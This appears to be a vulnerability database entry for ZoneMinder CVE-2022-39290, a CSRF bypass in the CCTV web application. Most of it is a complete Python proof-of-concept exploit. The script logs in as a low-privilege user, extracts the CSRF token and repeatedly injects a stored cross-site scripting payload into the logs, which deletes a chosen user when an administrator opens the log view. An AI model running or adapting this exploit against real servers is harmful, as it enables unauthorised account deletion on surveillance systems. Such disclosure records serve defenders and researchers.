ID

VAR-202210-0233

CVE

CVE-2022-39290

TITLE

ZoneMinder  Authentication vulnerability in

DESCRIPTION

ZoneMinder is a free, open source Closed-circuit television software application. In affected versions authenticated users can bypass CSRF keys by modifying the request supplied to the Zoneminder web application. These modifications include replacing HTTP POST with an HTTP GET and removing the CSRF key from the request. An attacker can take advantage of this by using an HTTP GET request to perform actions with no CSRF protection. This could allow an attacker to cause an authenticated user to perform unexpected actions on the web application. Users are advised to upgrade as soon as possible. There are no known workarounds for this issue. ZoneMinder There is an authentication vulnerability in.Information may be tampered with. # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS) # Date: 10/01/2022 # Exploit Author: Trenches of IT # Vendor Homepage: https://github.com/ZoneMinder/zoneminder # Version: v1.36.26 # Tested on: Linux/Windows # CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 # Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/ # # Proof of Concept: # 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped) # 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log # 3 - XSS executes delete function on target UID (user). import requests import re import time import argparse import sys def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: poc.py -i 1.2.3.4 -p 80 -u lowpriv -p lowpriv -d 1") parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server. (Example: -i 1.2.3.4", required=True) parser.add_argument("-p", "--port", help="Provide the port of the target zoneminder server. (Example: -p 80", required=True) parser.add_argument("-zU", "--username", help="Provide the low privileged username for the target zoneminder server. (Example: -zU lowpriv", required=True) parser.add_argument("-zP", "--password", help="Provide the low privileged password for the target zoneminder server. (Example: -zP lowpriv", required=True) parser.add_argument("-d", "--deleteUser", help="Provide the target user UID to delete from the target zoneminder server. (Example: -d 7", required=True) options = parser.parse_args(args) return options options = getOptions(sys.argv[1:]) payload = "http%3A%2F%2F" + options.ip + "%2Fzm%2F</td></tr><script src='/zm/index.php?view=options&tab=users&action=delete&markUids[]=" + options.deleteUser + "&deleteBtn=Delete'</script>" #Request to login and get the response headers loginUrl = "http://" + options.ip + ":" + options.port + "/zm/index.php?action=login&view=login&username="+options.username+"&password="+options.password loginCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": "f1neru6bq6bfddl7snpjqo6ss2"} loginHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=login", "Upgrade-Insecure-Requests": "1"} response = requests.post(loginUrl, headers=loginHeaders, cookies=loginCookies) zmHeaders = response.headers try: zoneminderSession = re.findall(r'ZMSESSID\=\w+\;', str(zmHeaders)) finalSession = zoneminderSession[-1].replace('ZMSESSID=', '').strip(';') except: print("[ERROR] Ensure the provided username and password is correct.") sys.exit(1) print("Collected the low privilege user session token: "+finalSession) #Request using response headers to obtain CSRF value csrfUrl = "http://"+options.ip+":"+options.port+"/zm/index.php?view=filter" csrfCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": '"' + finalSession + '"'} csrfHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&minTime=2022-09-30T20:52:58&maxTime=2022-09-30T21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1", "Upgrade-Insecure-Requests": "1"} response = requests.get(csrfUrl, headers=csrfHeaders, cookies=csrfCookies) zmBody = response.text extractedCsrfKey = re.findall(r'csrfMagicToken\s\=\s\"key\:\w+\,\d+', str(zmBody)) finalCsrfKey = extractedCsrfKey[0].replace('csrfMagicToken = "', '') print("Collected the CSRF key for the log injection request: "+finalCsrfKey) print("Navigate here with an admin user: http://"+options.ip+"/zm/index.php?view=log") while True: #XSS Request xssUrl = "http://"+options.ip+"/zm/index.php" xssCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": finalSession} xssHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=filter"} xssData = {"__csrf_magic": finalCsrfKey , "view": "request", "request": "log", "task": "create", "level": "ERR", "message": "Trenches%20of%20IT%20PoC", "browser[name]": "Firefox", "browser[version]": "91.0", "browser[platform]": "UNIX", "file": payload, "line": "105"} response = requests.post(xssUrl, headers=xssHeaders, cookies=xssCookies, data=xssData) print("Injecting payload: " + response.text) time.sleep(1)

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

authorization issue

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Trenches Of IT

SOURCES

LAST UPDATE DATE

2025-01-30T21:11:14.974000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE